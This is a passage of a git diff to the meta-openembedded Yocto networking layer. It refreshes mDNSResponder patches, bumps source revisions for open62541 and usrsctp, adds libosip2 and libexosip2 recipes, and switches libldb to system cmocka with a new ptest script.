-@@ -1561,7 +1562,7 @@ mDNSlocal int SetupInterfaceList(mDNS *const m)
+@@ -1561,7 +1562,7 @@ mDNSlocal int SetupInterfaceList(mDNS *c
}
#endif
if (SetupOneInterface(m, i->ifa_addr, i->ifa_netmask,
@@ -44,7 +44,7 @@ index 9a5b4d7ea4cb..02a19b438e03 100644
{
if (i->ifa_addr->sa_family == AF_INET)
foundav4 = mDNStrue;
-@@ -1578,7 +1579,7 @@ mDNSlocal int SetupInterfaceList(mDNS *const m)
+@@ -1578,7 +1579,7 @@ mDNSlocal int SetupInterfaceList(mDNS *c
// if ((m->HostInterfaces == NULL) && (firstLoopback != NULL))
if (!foundav4 && firstLoopback)
(void) SetupOneInterface(m, firstLoopback->ifa_addr, firstLoopback->ifa_netmask,
@@ -53,6 +53,3 @@ index 9a5b4d7ea4cb..02a19b438e03 100644
}
// Clean up.
---
-2.35.1
-
diff --git a/meta-openembedded/meta-networking/recipes-protocols/mdns/mdns/0004-make-Separate-TLS-targets-from-libraries.patch b/meta-openembedded/meta-networking/recipes-protocols/mdns/mdns/0004-make-Separate-TLS-targets-from-libraries.patch
index a8e8dae60a..837580ac36 100644
--- a/meta-openembedded/meta-networking/recipes-protocols/mdns/mdns/0004-make-Separate-TLS-targets-from-libraries.patch
+++ b/meta-openembedded/meta-networking/recipes-protocols/mdns/mdns/0004-make-Separate-TLS-targets-from-libraries.patch
@@ -12,10 +12,10 @@ Signed-off-by: Alex Kiernan <alex.kiernan@gmail.com>
mDNSPosix/Makefile | 14 ++++++++------
1 file changed, 8 insertions(+), 6 deletions(-)
-diff --git a/mDNSPosix/Makefile b/mDNSPosix/Makefile
-index 5e74193c0e89..b4313c36b035 100755
---- a/mDNSPosix/Makefile
-+++ b/mDNSPosix/Makefile
+Index: mDNSResponder/mDNSPosix/Makefile
+===================================================================
+--- mDNSResponder.orig/mDNSPosix/Makefile
++++ mDNSResponder/mDNSPosix/Makefile
@@ -112,9 +112,11 @@ ifeq ($(findstring linux,$(os)),linux)
ifeq ($(tls), no)
CFLAGS_OS = -D_GNU_SOURCE -DHAVE_IPV6 -DNOT_HAVE_SA_LEN -DUSES_NETLINK -DHAVE_LINUX -DTARGET_OS_LINUX -ftabstop=4 -Wno-expansion-to-defined
@@ -59,6 +59,3 @@ index 5e74193c0e89..b4313c36b035 100755
$(OBJDIR)/NetMonitor.c.o: $(COREDIR)/mDNS.c # Note: NetMonitor.c textually imports mDNS.c
---
-2.35.1
-
diff --git a/meta-openembedded/meta-networking/recipes-protocols/mdns/mdns/0005-Use-list-for-changed-interfaces.patch b/meta-openembedded/meta-networking/recipes-protocols/mdns/mdns/0005-Use-list-for-changed-interfaces.patch
index 1aec34f243..f00116c617 100644
--- a/meta-openembedded/meta-networking/recipes-protocols/mdns/mdns/0005-Use-list-for-changed-interfaces.patch
+++ b/meta-openembedded/meta-networking/recipes-protocols/mdns/mdns/0005-Use-list-for-changed-interfaces.patch
@@ -15,10 +15,10 @@ Signed-off-by: Alex Kiernan <alex.kiernan@gmail.com>
mDNSPosix/mDNSPosix.c | 58 ++++++++++++++++++++++++++++++++-----------
1 file changed, 43 insertions(+), 15 deletions(-)
-diff --git a/mDNSPosix/mDNSPosix.c b/mDNSPosix/mDNSPosix.c
-index 02a19b438e03..e20adda92229 100644
---- a/mDNSPosix/mDNSPosix.c
-+++ b/mDNSPosix/mDNSPosix.c
+Index: mDNSResponder/mDNSPosix/mDNSPosix.c
+===================================================================
+--- mDNSResponder.orig/mDNSPosix/mDNSPosix.c
++++ mDNSResponder/mDNSPosix/mDNSPosix.c
@@ -74,6 +74,14 @@ struct IfChangeRec
};
typedef struct IfChangeRec IfChangeRec;
@@ -34,7 +34,7 @@ index 02a19b438e03..e20adda92229 100644
// Note that static data is initialized to zero in (modern) C.
static PosixEventSource *gEventSources; // linked list of PosixEventSource's
static sigset_t gEventSignalSet; // Signals which event loop listens for
-@@ -1621,6 +1629,23 @@ mDNSlocal mStatus OpenIfNotifySocket(int *pFD)
+@@ -1621,6 +1629,23 @@ mDNSlocal mStatus OpenIfNotifySocket(int
return err;
}
@@ -58,7 +58,7 @@ index 02a19b438e03..e20adda92229 100644
#if MDNS_DEBUGMSGS
mDNSlocal void PrintNetLinkMsg(const struct nlmsghdr *pNLMsg)
{
-@@ -1648,14 +1673,13 @@ mDNSlocal void PrintNetLinkMsg(const struct nlmsghdr *pNLMsg)
+@@ -1648,14 +1673,13 @@ mDNSlocal void PrintNetLinkMsg(cons
}
#endif
@@ -74,7 +74,7 @@ index 02a19b438e03..e20adda92229 100644
// The structure here is more complex than it really ought to be because,
// unfortunately, there's no good way to size a buffer in advance large
-@@ -1691,9 +1715,9 @@ mDNSlocal mDNSu32 ProcessRoutingNotification(int sd)
+@@ -1691,9 +1715,9 @@ mDNSlocal mDNSu32 ProcessRoutingNo
// Process the NetLink message
if (pNLMsg->nlmsg_type == RTM_GETLINK || pNLMsg->nlmsg_type == RTM_NEWLINK)
@@ -86,7 +86,7 @@ index 02a19b438e03..e20adda92229 100644
// Advance pNLMsg to the next message in the buffer
if ((pNLMsg->nlmsg_flags & NLM_F_MULTI) != 0 && pNLMsg->nlmsg_type != NLMSG_DONE)
-@@ -1704,8 +1728,6 @@ mDNSlocal mDNSu32 ProcessRoutingNotification(int sd)
+@@ -1704,8 +1728,6 @@ mDNSlocal mDNSu32 ProcessRoutingNo
else
break; // all done!
}
@@ -95,7 +95,7 @@ index 02a19b438e03..e20adda92229 100644
}
#else // USES_NETLINK
-@@ -1737,14 +1759,13 @@ mDNSlocal void PrintRoutingSocketMsg(const struct ifa_msghdr *pRSMsg)
+@@ -1737,14 +1759,13 @@ mDNSlocal void PrintRoutingSocketMs
}
#endif
@@ -111,7 +111,7 @@ index 02a19b438e03..e20adda92229 100644
readCount = read(sd, buff, sizeof buff);
if (readCount < (ssize_t) sizeof(struct ifa_msghdr))
-@@ -1759,12 +1780,10 @@ mDNSlocal mDNSu32 ProcessRoutingNotification(int sd)
+@@ -1759,12 +1780,10 @@ mDNSlocal mDNSu32 ProcessRoutingNo
pRSMsg->ifam_type == RTM_IFINFO)
{
if (pRSMsg->ifam_type == RTM_IFINFO)
@@ -126,7 +126,7 @@ index 02a19b438e03..e20adda92229 100644
}
#endif // USES_NETLINK
-@@ -1774,7 +1793,8 @@ mDNSlocal void InterfaceChangeCallback(int fd, void *context)
+@@ -1774,7 +1793,8 @@ mDNSlocal void InterfaceChangeCallback(i
{
IfChangeRec *pChgRec = (IfChangeRec*) context;
fd_set readFDs;
@@ -136,7 +136,7 @@ index 02a19b438e03..e20adda92229 100644
struct timeval zeroTimeout = { 0, 0 };
(void)fd; // Unused
-@@ -1782,17 +1802,25 @@ mDNSlocal void InterfaceChangeCallback(int fd, void *context)
+@@ -1782,17 +1802,25 @@ mDNSlocal void InterfaceChangeCallback(i
FD_ZERO(&readFDs);
FD_SET(pChgRec->NotifySD, &readFDs);
@@ -164,6 +164,3 @@ index 02a19b438e03..e20adda92229 100644
}
// Register with either a Routing Socket or RtNetLink to listen for interface changes.
---
-2.35.1
-
diff --git a/meta-openembedded/meta-networking/recipes-protocols/mdns/mdns/0005-mDNSCore-Fix-broken-debug-parameter.patch b/meta-openembedded/meta-networking/recipes-protocols/mdns/mdns/0005-mDNSCore-Fix-broken-debug-parameter.patch
index 4cda71bdb1..fd2f2f1178 100644
--- a/meta-openembedded/meta-networking/recipes-protocols/mdns/mdns/0005-mDNSCore-Fix-broken-debug-parameter.patch
+++ b/meta-openembedded/meta-networking/recipes-protocols/mdns/mdns/0005-mDNSCore-Fix-broken-debug-parameter.patch
@@ -10,11 +10,11 @@ Signed-off-by: Alex Kiernan <alex.kiernan@gmail.com>
mDNSCore/mDNS.c | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
-diff --git a/mDNSCore/mDNS.c b/mDNSCore/mDNS.c
-index eecd7daa724e..1e843c081938 100644
---- a/mDNSCore/mDNS.c
-+++ b/mDNSCore/mDNS.c
-@@ -10210,7 +10210,7 @@ mDNSlocal void mDNSCoreReceiveNoUnicastAnswers(mDNS *const m, const DNSMessage *
+Index: mDNSResponder/mDNSCore/mDNS.c
+===================================================================
+--- mDNSResponder.orig/mDNSCore/mDNS.c
++++ mDNSResponder/mDNSCore/mDNS.c
+@@ -10231,7 +10231,7 @@ mDNSlocal void mDNSCoreReceiveNoUnicastA
#else
const DNSServRef dnsserv = qptr->qDNSServer;
#endif
diff --git a/meta-openembedded/meta-networking/recipes-protocols/mdns/mdns/0006-Handle-noisy-netlink-sockets.patch b/meta-openembedded/meta-networking/recipes-protocols/mdns/mdns/0006-Handle-noisy-netlink-sockets.patch
index 882d08e6c6..80cdbca500 100644
--- a/meta-openembedded/meta-networking/recipes-protocols/mdns/mdns/0006-Handle-noisy-netlink-sockets.patch
+++ b/meta-openembedded/meta-networking/recipes-protocols/mdns/mdns/0006-Handle-noisy-netlink-sockets.patch
@@ -27,11 +27,11 @@ Signed-off-by: Alex Kiernan <alex.kiernan@gmail.com>
mDNSPosix/mDNSPosix.c | 182 +++++++++++++++++++++++++++++++++++++++---
1 file changed, 172 insertions(+), 10 deletions(-)
-diff --git a/mDNSPosix/mDNSPosix.c b/mDNSPosix/mDNSPosix.c
-index e20adda92229..5d52de31f79b 100644
---- a/mDNSPosix/mDNSPosix.c
-+++ b/mDNSPosix/mDNSPosix.c
-@@ -1788,14 +1788,43 @@ mDNSlocal void ProcessRoutingNotification(int sd, GenLinkedList *change
+Index: mDNSResponder/mDNSPosix/mDNSPosix.c
+===================================================================
+--- mDNSResponder.orig/mDNSPosix/mDNSPosix.c
++++ mDNSResponder/mDNSPosix/mDNSPosix.c
+@@ -1788,14 +1788,43 @@ mDNSlocal void ProcessRoutingNo
#endif // USES_NETLINK
@@ -75,7 +75,7 @@ index e20adda92229..5d52de31f79b 100644
(void)fd; // Unused
-@@ -1810,12 +1839,149 @@ mDNSlocal void InterfaceChangeCallback(int fd, void *context)
+@@ -1810,12 +1839,149 @@ mDNSlocal void InterfaceChangeCallback(i
}
while (0 < select(pChgRec->NotifySD + 1, &readFDs, (fd_set*) NULL, (fd_set*) NULL, &zeroTimeout));
@@ -230,7 +230,7 @@ index e20adda92229..5d52de31f79b 100644
while ((changedInterface = (NetworkInterfaceIndex*)changedInterfaces.Head) != NULL)
{
RemoveFromList(&changedInterfaces, changedInterface);
-@@ -1947,15 +2113,11 @@ mDNSexport void mDNSPlatformClose(mDNS *const m)
+@@ -1947,15 +2113,11 @@ mDNSexport void mDNSPlatformClose(mDNS *
#endif
}
@@ -247,6 +247,3 @@ index e20adda92229..5d52de31f79b 100644
ClearInterfaceList(m);
err = SetupInterfaceList(m);
return PosixErrorToStatus(err);
---
-2.35.1
-
diff --git a/meta-openembedded/meta-networking/recipes-protocols/mdns/mdns/0006-make-Add-top-level-Makefile.patch b/meta-openembedded/meta-networking/recipes-protocols/mdns/mdns/0006-make-Add-top-level-Makefile.patch
index 268e574c50..c12a02fcdd 100644
--- a/meta-openembedded/meta-networking/recipes-protocols/mdns/mdns/0006-make-Add-top-level-Makefile.patch
+++ b/meta-openembedded/meta-networking/recipes-protocols/mdns/mdns/0006-make-Add-top-level-Makefile.patch
@@ -12,14 +12,10 @@ Signed-off-by: Alex Kiernan <alex.kiernan@gmail.com>
1 file changed, 2 insertions(+)
create mode 100644 Makefile
-diff --git a/Makefile b/Makefile
-new file mode 100644
-index 000000000000..feb6ac67ef47
+Index: mDNSResponder/Makefile
+===================================================================
--- /dev/null
-+++ b/Makefile
++++ mDNSResponder/Makefile
@@ -0,0 +1,2 @@
+all clean:
+ cd mDNSPosix && $(MAKE) $@
---
-2.35.1
-
diff --git a/meta-openembedded/meta-networking/recipes-protocols/mdns/mdns/0007-Mark-deleted-interfaces-as-being-changed.patch b/meta-openembedded/meta-networking/recipes-protocols/mdns/mdns/0007-Mark-deleted-interfaces-as-being-changed.patch
index e53b0fd3ae..dae1ac7ea0 100644
--- a/meta-openembedded/meta-networking/recipes-protocols/mdns/mdns/0007-Mark-deleted-interfaces-as-being-changed.patch
+++ b/meta-openembedded/meta-networking/recipes-protocols/mdns/mdns/0007-Mark-deleted-interfaces-as-being-changed.patch
@@ -22,11 +22,11 @@ Signed-off-by: Alex Kiernan <alex.kiernan@gmail.com>
mDNSPosix/mDNSPosix.c | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
-diff --git a/mDNSPosix/mDNSPosix.c b/mDNSPosix/mDNSPosix.c
-index 5d52de31f79b..77d982f4c50b 100644
---- a/mDNSPosix/mDNSPosix.c
-+++ b/mDNSPosix/mDNSPosix.c
-@@ -1714,7 +1714,7 @@ mDNSlocal void ProcessRoutingNotification(int sd, GenLinkedList *change
+Index: mDNSResponder/mDNSPosix/mDNSPosix.c
+===================================================================
+--- mDNSResponder.orig/mDNSPosix/mDNSPosix.c
++++ mDNSResponder/mDNSPosix/mDNSPosix.c
+@@ -1714,7 +1714,7 @@ mDNSlocal void ProcessRoutingNo
#endif
// Process the NetLink message
@@ -35,6 +35,3 @@ index 5d52de31f79b..77d982f4c50b 100644
AddInterfaceIndexToList(changedInterfaces, ((struct ifinfomsg*) NLMSG_DATA(pNLMsg))->ifi_index);
else if (pNLMsg->nlmsg_type == RTM_DELADDR || pNLMsg->nlmsg_type == RTM_NEWADDR)
AddInterfaceIndexToList(changedInterfaces, ((struct ifaddrmsg*) NLMSG_DATA(pNLMsg))->ifa_index);
---
-2.35.1
-
diff --git a/meta-openembedded/meta-networking/recipes-protocols/mdns/mdns/0008-Handle-errors-from-socket-calls.patch b/meta-openembedded/meta-networking/recipes-protocols/mdns/mdns/0008-Handle-errors-from-socket-calls.patch
index e689f8c267..1789001e14 100644
--- a/meta-openembedded/meta-networking/recipes-protocols/mdns/mdns/0008-Handle-errors-from-socket-calls.patch
+++ b/meta-openembedded/meta-networking/recipes-protocols/mdns/mdns/0008-Handle-errors-from-socket-calls.patch
@@ -14,11 +14,11 @@ Signed-off-by: Alex Kiernan <alex.kiernan@gmail.com>
mDNSPosix/mDNSPosix.c | 12 +++++++++---
1 file changed, 9 insertions(+), 3 deletions(-)
-diff --git a/mDNSPosix/mDNSPosix.c b/mDNSPosix/mDNSPosix.c
-index 77d982f4c50b..cab512160afb 100644
---- a/mDNSPosix/mDNSPosix.c
-+++ b/mDNSPosix/mDNSPosix.c
-@@ -1677,7 +1677,7 @@ mDNSlocal void ProcessRoutingNotification(int sd, GenLinkedList *change
+Index: mDNSResponder/mDNSPosix/mDNSPosix.c
+===================================================================
+--- mDNSResponder.orig/mDNSPosix/mDNSPosix.c
++++ mDNSResponder/mDNSPosix/mDNSPosix.c
+@@ -1677,7 +1677,7 @@ mDNSlocal void ProcessRoutingNo
// Read through the messages on sd and if any indicate that any interface records should
// be torn down and rebuilt, return affected indices as a bitmask. Otherwise return 0.
{
@@ -27,7 +27,7 @@ index 77d982f4c50b..cab512160afb 100644
char buff[4096];
struct nlmsghdr *pNLMsg = (struct nlmsghdr*) buff;
-@@ -1686,7 +1686,10 @@ mDNSlocal void ProcessRoutingNotification(int sd, GenLinkedList *change
+@@ -1686,7 +1686,10 @@ mDNSlocal void ProcessRoutingNo
// enough to hold all pending data and so avoid message fragmentation.
// (Note that FIONREAD is not supported on AF_NETLINK.)
@@ -39,7 +39,7 @@ index 77d982f4c50b..cab512160afb 100644
while (1)
{
// Make sure we've got an entire nlmsghdr in the buffer, and payload, too.
-@@ -1702,7 +1705,9 @@ mDNSlocal void ProcessRoutingNotification(int sd, GenLinkedList *change
+@@ -1702,7 +1705,9 @@ mDNSlocal void ProcessRoutingNo
pNLMsg = (struct nlmsghdr*) buff;
// read more data
@@ -50,7 +50,7 @@ index 77d982f4c50b..cab512160afb 100644
continue; // spin around and revalidate with new readCount
}
else
-@@ -2017,6 +2022,7 @@ mDNSlocal mDNSBool mDNSPlatformInit_CanReceiveUnicast(void)
+@@ -2017,6 +2022,7 @@ mDNSlocal mDNSBool mDNSPlatformInit_CanR
int err;
int s = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
struct sockaddr_in s5353;
@@ -58,6 +58,3 @@ index 77d982f4c50b..cab512160afb 100644
s5353.sin_family = AF_INET;
s5353.sin_port = MulticastDNSPort.NotAnInteger;
s5353.sin_addr.s_addr = 0;
---
-2.35.1
-
diff --git a/meta-openembedded/meta-networking/recipes-protocols/mdns/mdns/0009-remove-unneeded-headers.patch b/meta-openembedded/meta-networking/recipes-protocols/mdns/mdns/0009-remove-unneeded-headers.patch
index 74d387368c..d443bc97b2 100644
--- a/meta-openembedded/meta-networking/recipes-protocols/mdns/mdns/0009-remove-unneeded-headers.patch
+++ b/meta-openembedded/meta-networking/recipes-protocols/mdns/mdns/0009-remove-unneeded-headers.patch
@@ -14,20 +14,18 @@ Signed-off-by: Beniamin Sandu <beniaminsandu@gmail.com>
mDNSPosix/mbedtls.c | 2 --
1 file changed, 2 deletions(-)
-diff --git a/mDNSPosix/mbedtls.c b/mDNSPosix/mbedtls.c
-index a73681b..ab8f8c7 100644
---- a/mDNSPosix/mbedtls.c
-+++ b/mDNSPosix/mbedtls.c
+Index: mDNSResponder/mDNSPosix/mbedtls.c
+===================================================================
+--- mDNSResponder.orig/mDNSPosix/mbedtls.c
++++ mDNSResponder/mDNSPosix/mbedtls.c
@@ -38,10 +38,8 @@
#include <mbedtls/sha256.h>
#include <mbedtls/base64.h>
-
+
-#include <mbedtls/certs.h>
#include <mbedtls/x509.h>
#include <mbedtls/ssl.h>
-#include <mbedtls/config.h>
-
+
// Posix TLS server context
struct TLSContext_struct {
---
-2.34.1
diff --git a/meta-openembedded/meta-networking/recipes-protocols/mdns/mdns/0015-Add-missing-limits.h.patch b/meta-openembedded/meta-networking/recipes-protocols/mdns/mdns/0015-Add-missing-limits.h.patch
index 9fe721ff07..511a6fdc18 100644
--- a/meta-openembedded/meta-networking/recipes-protocols/mdns/mdns/0015-Add-missing-limits.h.patch
+++ b/meta-openembedded/meta-networking/recipes-protocols/mdns/mdns/0015-Add-missing-limits.h.patch
@@ -9,10 +9,10 @@ Signed-off-by: Alex Kiernan <alex.kiernan@gmail.com>
mDNSShared/PlatformCommon.c | 1 +
1 file changed, 1 insertion(+)
-diff --git a/mDNSShared/PlatformCommon.c b/mDNSShared/PlatformCommon.c
-index 9ce15468e217..c308af3e8b0e 100644
---- a/mDNSShared/PlatformCommon.c
-+++ b/mDNSShared/PlatformCommon.c
+Index: mDNSResponder/mDNSShared/PlatformCommon.c
+===================================================================
+--- mDNSResponder.orig/mDNSShared/PlatformCommon.c
++++ mDNSResponder/mDNSShared/PlatformCommon.c
@@ -32,6 +32,7 @@
#include <time.h>
#include <sys/time.h> // Needed for #include <sys/time.h>().
diff --git a/meta-openembedded/meta-networking/recipes-protocols/mdns/mdns_2200.0.8.bb b/meta-openembedded/meta-networking/recipes-protocols/mdns/mdns_2200.40.37.0.1.bb
index 8370ed50c0..af2b337172 100644
--- a/meta-openembedded/meta-networking/recipes-protocols/mdns/mdns_2200.0.8.bb
+++ b/meta-openembedded/meta-networking/recipes-protocols/mdns/mdns_2200.40.37.0.1.bb
@@ -6,7 +6,7 @@ LIC_FILES_CHKSUM = "file://LICENSE;md5=31c50371921e0fb731003bbc665f29bf"
DEPENDS:append:libc-musl = " musl-nscd"
-SRC_URI = "git://github.com/apple-oss-distributions/mDNSResponder;protocol=https;branch=main \
+SRC_URI = "git://github.com/apple-oss-distributions/mDNSResponder;protocol=https;branch=rel/mDNSResponder-2200 \
file://0001-dns-sd-Include-missing-headers.patch \
file://0002-make-Set-libdns_sd.so-soname-correctly.patch \
file://0004-make-Separate-TLS-targets-from-libraries.patch \
@@ -25,7 +25,7 @@ SRC_URI = "git://github.com/apple-oss-distributions/mDNSResponder;protocol=https
file://0015-Add-missing-limits.h.patch \
file://0001-Handle-interface-without-ifa_addr.patch \
"
-SRCREV = "d5029b5dff8aa59d1fc07ed796e994106ef58dee"
+SRCREV = "a9f4049ab772ca57b5afc9804ae5004beb711d6e"
# We install a stub Makefile in the top directory so that the various checks
# in base.bbclass pass their tests for a Makefile, this ensures (that amongst
diff --git a/meta-openembedded/meta-networking/recipes-protocols/net-snmp/net-snmp_5.9.3.bb b/meta-openembedded/meta-networking/recipes-protocols/net-snmp/net-snmp_5.9.3.bb
index f40fb8bbd6..6f1c114177 100644
--- a/meta-openembedded/meta-networking/recipes-protocols/net-snmp/net-snmp_5.9.3.bb
+++ b/meta-openembedded/meta-networking/recipes-protocols/net-snmp/net-snmp_5.9.3.bb
@@ -178,7 +178,7 @@ do_install_ptest() {
}
SYSROOT_PREPROCESS_FUNCS += "net_snmp_sysroot_preprocess"
-SNMP_DBGDIR = "/usr/src/debug/${PN}/${EXTENDPE}${PV}-${PR}"
+SNMP_DBGDIR = "${TARGET_DBGSRC_DIR}"
net_snmp_sysroot_preprocess () {
if [ -e ${D}${bindir}/net-snmp-config ]; then
diff --git a/meta-openembedded/meta-networking/recipes-protocols/opcua/open62541_1.3.6.bb b/meta-openembedded/meta-networking/recipes-protocols/opcua/open62541_1.3.8.bb
index c7437eb9ed..19a50aee3a 100644
--- a/meta-openembedded/meta-networking/recipes-protocols/opcua/open62541_1.3.6.bb
+++ b/meta-openembedded/meta-networking/recipes-protocols/opcua/open62541_1.3.8.bb
@@ -8,7 +8,7 @@ LIC_FILES_CHKSUM = "\
"
SRCREV_FORMAT = "opcua_mdnsd_ua-nodeset_mqtt-c"
-SRCREV_opcua = "1b7e2b5d669661c568fda5577ee92011a029cf75"
+SRCREV_opcua = "086b1557d6f49e8a82c999054a7da77d080cd54e"
SRCREV_mdnsd = "3151afe5899dba5125dffa9f4cf3ae1fe2edc0f0"
SRCREV_ua-nodeset = "f71b3f411d5cb16097c3ae0c744f67ad45535ffb"
SRCREV_mqtt-c = "f69ce1e7fd54f3b1834c9c9137ce0ec5d703cb4d"
diff --git a/meta-openembedded/meta-networking/recipes-protocols/usrsctp/usrsctp_git.bb b/meta-openembedded/meta-networking/recipes-protocols/usrsctp/usrsctp_git.bb
index dcfa7406d2..38fb46fa4e 100644
--- a/meta-openembedded/meta-networking/recipes-protocols/usrsctp/usrsctp_git.bb
+++ b/meta-openembedded/meta-networking/recipes-protocols/usrsctp/usrsctp_git.bb
@@ -2,7 +2,7 @@ DESCRIPTION = "This is a userland SCTP stack supporting FreeBSD, Linux, Mac OS X
LICENSE = "BSD-3-Clause"
LIC_FILES_CHKSUM = "file://LICENSE.md;md5=ffcf846341f3856d79a483eafa18e2a5"
-SRCREV = "a10cd498d964508c0e6ec6bd2be9dd4afcbb4d86"
+SRCREV = "a0cbf4681474fab1e89d9e9e2d5c3694fce50359"
SRC_URI = "git://github.com/sctplab/usrsctp;protocol=https;branch=master \
"
diff --git a/meta-openembedded/meta-networking/recipes-support/libexosip2/libexosip2_5.3.0.bb b/meta-openembedded/meta-networking/recipes-support/libexosip2/libexosip2_5.3.0.bb
new file mode 100644
index 0000000000..541b2edce1
--- /dev/null
+++ b/meta-openembedded/meta-networking/recipes-support/libexosip2/libexosip2_5.3.0.bb
@@ -0,0 +1,22 @@
+SUMMARY = "Extend the capability of the oSIP library"
+DESCRIPTION = "eXosip is a GPL library that extend the capability of \
+the oSIP library. It aims to implement a simple high \
+layer API to control SIP (rfc3261) for sessions establishements \
+and common extensions."
+HOMEPAGE = "http://savannah.gnu.org/projects/exosip"
+SECTION = "libs"
+LICENSE = "GPL-2.0-or-later"
+LIC_FILES_CHKSUM = "file://src/eXosip.c;beginline=1;endline=32;md5=db3c08b79afd8f4d5e5dc8f0a5dc687e"
+DEPENDS = "libosip2"
+
+SRC_URI = "${SAVANNAH_NONGNU_MIRROR}/exosip/${BPN}-${PV}.tar.gz"
+SRC_URI[sha256sum] = "5b7823986431ea5cedc9f095d6964ace966f093b2ae7d0b08404788bfcebc9c2"
+
+inherit autotools pkgconfig
+
+PACKAGECONFIG = "c-ares openssl"
+PACKAGECONFIG[c-ares] = ",,c-ares"
+PACKAGECONFIG[openssl] = "--enable-openssl,--disable-openssl,openssl"
+
+PACKAGES =+ "${PN}-tools"
+FILES:${PN}-tools += "${bindir}"
diff --git a/meta-openembedded/meta-networking/recipes-support/libldb/libldb/cmocka-fix-musl-libc-conflicting-types-error.patch b/meta-openembedded/meta-networking/recipes-support/libldb/libldb/cmocka-fix-musl-libc-conflicting-types-error.patch
deleted file mode 100644
index 8e756d8d3a..0000000000
--- a/meta-openembedded/meta-networking/recipes-support/libldb/libldb/cmocka-fix-musl-libc-conflicting-types-error.patch
+++ /dev/null
@@ -1,45 +0,0 @@
-From a37eb0a46669592e32ed4e004abb2698ee4f90c5 Mon Sep 17 00:00:00 2001
-From: Changqing Li <changqing.li@windriver.com>
-Date: Wed, 25 Jul 2018 09:55:25 +0800
-Subject: [PATCH] cmocka: fix musl libc conflicting types error
-
-/third_party/cmocka/cmocka.h:126:28: error: conflicting types for 'uintptr_t'
- typedef unsigned int uintptr_t;
- ^~~~~~~~~
-use __DEFINED_uintptr_t in alltypes.h to check if uintptr already defined
-
-Upstream-Status: Pending
-
-Signed-off-by: Changqing Li <changqing.li@windriver.com>
----
- third_party/cmocka/cmocka.h | 7 +++----
- 1 file changed, 3 insertions(+), 4 deletions(-)
-
-diff --git a/third_party/cmocka/cmocka.h b/third_party/cmocka/cmocka.h
-index e6861c8..238201d 100644
---- a/third_party/cmocka/cmocka.h
-+++ b/third_party/cmocka/cmocka.h
-@@ -111,7 +111,7 @@ typedef uintmax_t LargestIntegralType;
- ((LargestIntegralType)(value))
-
- /* Smallest integral type capable of holding a pointer. */
--#if !defined(_UINTPTR_T) && !defined(_UINTPTR_T_DEFINED)
-+#if !defined(__DEFINED_uintptr_t)
- # if defined(_WIN32)
- /* WIN32 is an ILP32 platform */
- typedef unsigned int uintptr_t;
-@@ -135,9 +135,8 @@ typedef uintmax_t LargestIntegralType;
- # endif /* __WORDSIZE */
- # endif /* _WIN32 */
-
--# define _UINTPTR_T
--# define _UINTPTR_T_DEFINED
--#endif /* !defined(_UINTPTR_T) || !defined(_UINTPTR_T_DEFINED) */
-+# define __DEFINED_uintptr_t
-+#endif /* !defined(__DEFINED_uintptr_t) */
-
- /* Perform an unsigned cast to uintptr_t. */
- #define cast_to_pointer_integral_type(value) \
---
-2.25.1
-
diff --git a/meta-openembedded/meta-networking/recipes-support/libldb/libldb/run-ptest b/meta-openembedded/meta-networking/recipes-support/libldb/libldb/run-ptest
new file mode 100644
index 0000000000..f0de0578c4
--- /dev/null
+++ b/meta-openembedded/meta-networking/recipes-support/libldb/libldb/run-ptest
@@ -0,0 +1,17 @@
+#!/bin/sh
+
+ptestdir=$(dirname "$(readlink -f "$0")")
+cd "$ptestdir"/tests || exit
+
+tests="test_ldb_dn test_ldb_qsort"
+
+for f in $tests
+do
+ if test -x ./"$f"; then
+ if ./"$f" > ./"$f".out 2> ./"$f".err; then
+ echo "PASS: $f"
+ else
+ echo "FAIL: $f"
+ fi
+ fi
+done
diff --git a/meta-openembedded/meta-networking/recipes-support/libldb/libldb_2.7.2.bb b/meta-openembedded/meta-networking/recipes-support/libldb/libldb_2.7.2.bb
index daf0f73b89..c4b7602bf8 100644
--- a/meta-openembedded/meta-networking/recipes-support/libldb/libldb_2.7.2.bb
+++ b/meta-openembedded/meta-networking/recipes-support/libldb/libldb_2.7.2.bb
@@ -3,7 +3,7 @@ HOMEPAGE = "https://ldb.samba.org"
SECTION = "libs"
LICENSE = "LGPL-3.0-or-later & LGPL-2.1-or-later & GPL-3.0-or-later"
-DEPENDS += "libtdb libtalloc libtevent popt"
+DEPENDS += "libtdb libtalloc libtevent popt cmocka"
RDEPENDS:pyldb += "python3"
export PYTHONHASHSEED="1"
@@ -12,10 +12,9 @@ SRC_URI = "http://samba.org/ftp/ldb/ldb-${PV}.tar.gz \
file://0001-do-not-import-target-module-while-cross-compile.patch \
file://0002-ldb-Add-configure-options-for-packages.patch \
file://0003-Fix-pyext_PATTERN-for-cross-compilation.patch \
+ file://run-ptest \
"
-SRC_URI:append:libc-musl = " file://cmocka-fix-musl-libc-conflicting-types-error.patch"
-
PACKAGECONFIG ??= "\
${@bb.utils.filter('DISTRO_FEATURES', 'acl', d)} \
${@bb.utils.contains('DISTRO_FEATURES', 'xattr', 'attr', '', d)} \
@@ -37,7 +36,7 @@ LIC_FILES_CHKSUM = "file://pyldb.h;endline=24;md5=dfbd238cecad76957f7f860fbe9ada
SRC_URI[sha256sum] = "26ee72d647854e662d99643eb2b2d341655abf31f4990838d6650fb5cf9209c8"
-inherit pkgconfig waf-samba
+inherit pkgconfig waf-samba ptest
S = "${WORKDIR}/ldb-${PV}"
@@ -47,7 +46,7 @@ export WAF_NO_PREFORK="yes"
EXTRA_OECONF += "--disable-rpath \
--disable-rpath-install \
- --bundled-libraries=cmocka \
+ --bundled-libraries=NONE \
--builtin-libraries=replace \
--with-modulesdir=${libdir}/ldb/modules \
--with-privatelibdir=${libdir}/ldb \
@@ -81,3 +80,8 @@ do_configure:prepend() {
# For a clean rebuild
rm -fr bin/
}
+
+do_install_ptest() {
+ install -d ${D}${PTEST_PATH}/tests
+ install -m 0755 ${B}/bin/test_ldb_* ${D}${PTEST_PATH}/tests/
+}
diff --git a/meta-openembedded/meta-networking/recipes-support/libosip2/libosip2_5.3.1.bb b/meta-openembedded/meta-networking/recipes-support/libosip2/libosip2_5.3.1.bb
new file mode 100644
index 0000000000..fa99d33e1c
--- /dev/null
+++ b/meta-openembedded/meta-networking/recipes-support/libosip2/libosip2_5.3.1.bb
@@ -0,0 +1,15 @@
+SUMMARY = "The GNU oSIP library is an implementation of SIP - rfc3261"
+DESCRIPTION = "SIP stands for the Session Initiation Protocol and is described \
